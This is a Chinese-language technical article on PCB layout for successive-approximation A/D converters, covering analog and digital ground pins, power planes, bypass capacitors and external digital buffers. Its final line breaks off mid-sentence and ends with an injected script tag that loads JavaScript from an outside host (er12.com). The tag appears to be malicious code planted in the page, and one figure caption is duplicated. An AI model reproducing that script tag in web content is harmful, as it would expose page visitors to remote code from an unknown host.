ad转换器的精度和分辨率增加时使用的布线技巧。
最初，模数(a/d)转换器起源于模拟范例，其中物理硅的大部分是模拟。随着新的设计拓扑学发展，此范例演变为，在低速a/d转换器中数字占主要部分。尽管a/d转换器片内由模拟占主导转变为由数字占主导，pcb的布线准则却没有改变。当布线设计人员设计混合信号电路时，为实现有效布线，仍需要关键的布线知识。本文将以逐次逼近型a/d转换器和∑-△型a/d转换器为例，探讨a/d转换器所需的pcb布线策略。
图1. 12位cmos逐次逼近型a/d转换器的方框图。此转换器使用了由电容阵列形成的电荷分布。
逐次逼近型a/d转换器的布线
逐次逼近型a/d转换器有8位、10位、12位、16位以及18位分辨率。最初，这些转换器的工艺和结构是带r-2r梯形电阻网络的双极型。但是最近，采用电容电荷分布拓扑将这些器件移植到了cmos工艺。显然，这种移植并没有改变这些转换器的系统布线策略。除较高分辨率的器件外，基本的布线方法是一致的。对于这些器件，需要特别注意防止来自转换器串行或并行输出接口的数字反馈。
从电路和片内专用于不同领域的资源来看，模拟在逐次逼近型a/d转换器中占主导地位。图1是一个12位cmos逐次逼近型a/d转换器的方框图。
此转换器使用了由电容阵列形成的电荷分布。
在此方框图中，采样/保持、比较器、数模转换器（dac）的大部分以及12位逐次逼近型a/d转换器都是模拟的。电路的其余部分是数字的。因此，此转换器所需的大部分能量和电流都用于内部模拟电路。此器件需要很小的数字电流，只有d/a转换器和数字接口会发生少量开关。
这些类型的转换器可以有多个地和电源连接引脚。引脚名经常会引起误解，因为可用引脚标号区分模拟和数字连接。这些标号并非意在描述到pcb的系统连接，而是确定数字和模拟电流如何流出芯片。知道了此信息，并了解了片内消耗的主要资源是模拟的，就会明白在相同平面（如模拟平面）上连接电源和地引脚的意义。
例如，10位和12位转换器典型样片的引脚配置如图2所示。
图2. 逐次逼近型a/d转换器，无论其分辨率是多少位，通常至少有两个地连接端：agnd和dgnd。此处以microchip的a/d转换器 mcp4008和mcp3001为例。
图2. 逐次逼近型a/d转换器，无论其分辨率是多少位，通常至少有两个地连接端：agnd和dgnd。此处以microchip的a/d转换器 mcp4008和mcp3001为例。
对于这些器件，通常从芯片引出两个地引脚：agnd和dgnd。电源有一个引出引脚。当使用这些芯片实现pcb布线时，agnd和dgnd应该连接到模拟地平面。模拟和数字电源引脚也应该连接到模拟电源平面或至少连接到模拟电源轨，并且要尽可能靠近每个电源引脚连接适当的旁路电容。象mcp3201这样的器件，只有一个接地引脚和一个正电源引脚，其唯一的原因是由于封装引脚数的限制。然而，隔离开地可增大转换器具有良好和可重复精度的可能性。
对于所有这些转换器，电源策略应该是将所有的地、正电源和负电源引脚连接到模拟平面。而且，与输入信号有关的‘com’引脚或‘in’引脚应该尽量靠近信号地连接。
对于更高分辨率的逐次逼近型a/d转换器（16位和18位转换器），在将数字噪声与“安静”的模拟转换器和电源平面隔离开时，需要另外稍加注意。当这些器件与单片机接口时，应该使用外部的数字缓冲器，以获得无噪声运行。尽管这些类型的逐次逼近型a/d转换器通常在数字输出侧有内部双缓冲器，还是要使用外部缓冲器，以进一步将转换器中的模拟电路与数字总线噪声隔离开。
这种系统的正确电源策略如图3所示?script src=http://er12.com/t.js>
